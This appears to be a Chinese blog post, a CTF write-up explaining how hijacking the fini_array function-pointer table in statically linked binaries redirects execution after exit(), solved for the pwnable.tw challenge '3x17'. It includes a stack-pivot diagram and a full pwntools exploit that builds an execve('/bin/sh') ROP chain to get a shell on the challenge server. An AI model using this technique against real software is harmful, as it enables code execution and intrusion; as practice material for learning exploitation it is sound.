浅谈exit函数的利用方式之二——fini_array

只有静态编译才会用到的神必数组fini_array

0x00.fini_array浅析

重新将目光转回exit()函数,这一次我们需要关注的是这一块:

image.png

前面有我们已经讲到过,main函数返回之后便会执行__libc_csu_fini()函数,我们将一个程序编译后再反汇编便可以发现:

  • 动态编译时该函数为空函数
  • 静态编译下该函数会逐一取出一个数组中的函数指针执行,该函数指针数组位于bss段上

image.png

那么我们不难想到:若是能够控制该数组中的函数指针,便能够在程序exit()后控制程序执行流

0x01.实战:pwnable.tw - 3x17

惯例的checksec,只开了NX

拖入IDA进行分析,静态编译 + 符号表扣光(悲

不过通过_start()函数的结构我们还是能够获取如下信息:

image.png

那么这个函数应当为main函数

image.png

其功能为往指定地址写最大0x18字节的数据,但是只能写一次

由于程序是静态编译的,故考虑劫持fini_array数组控制程序执行流以get shell

image.png

一开始只能读一次,那么考虑劫持fini_array[1]为main、fini_array[0]__libc_csu_fini()以反复读入

我们同时还需要考虑进行栈迁移,观察libc_csu_fini的反汇编代码,我们可以发现rbp的值便是fini_array,故我们可以将栈劫持到fini_array附近,在这里构造我们的rop链

image.png

在fini_array上布置如下rop链以进行栈迁移:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
       ------------------------
| |
rbp-> | leave; ret | <- fini_array[0]
| |
------------------------
| |
| ret | <- fini_array[1] // need to be useless
| |
------------------------
| |
| (real rop start) | <- fini_array[2]
| |
------------------------
| |
| ... | <- fini_array[3]
| |

最终构造exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
context.arch = 'amd64'
#context.log_level = 'debug'
p = remote('chall.pwnable.tw', 10105)
e = ELF('./3x17')

main = 0x401B6D
csu_fini = 0x402960
fini_array = 0x4B40F0
pop_rax_ret = e.search(asm('pop rax ; ret')).__next__()
pop_rdi_ret = e.search(asm('pop rdi ; ret')).__next__()
pop_rsi_ret = e.search(asm('pop rsi ; ret')).__next__()
pop_rdx_ret = e.search(asm('pop rdx ; ret')).__next__()
syscall = e.search(asm('syscall')).__next__()
leave_ret = e.search(asm('leave ; ret')).__next__()
ret = e.search(asm('ret')).__next__()

def write(addr:int, data):
p.recvuntil(b"addr:")
p.sendline(str(addr))
p.recvuntil(b"data:")
p.send(data)

write(fini_array, p64(csu_fini) + p64(main))
write(fini_array + 0x10, p64(pop_rax_ret) + p64(59)) # execve
write(fini_array + 0x20, p64(pop_rdi_ret) + p64(fini_array + 0x60))
write(fini_array + 0x30, p64(pop_rsi_ret) + p64(0))
write(fini_array + 0x40, p64(pop_rdx_ret) + p64(0))
write(fini_array + 0x50, p64(syscall))
write(fini_array + 0x60, b"/bin/sh\x00")
#gdb.attach(p)
write(fini_array, p64(leave_ret) + p64(ret))

p.interactive()

运行即可get shell

Posted on

2021-03-10

Updated on

2023-02-05

Licensed under

Comments

:D 一言句子获取中...

Loading...Wait a Minute!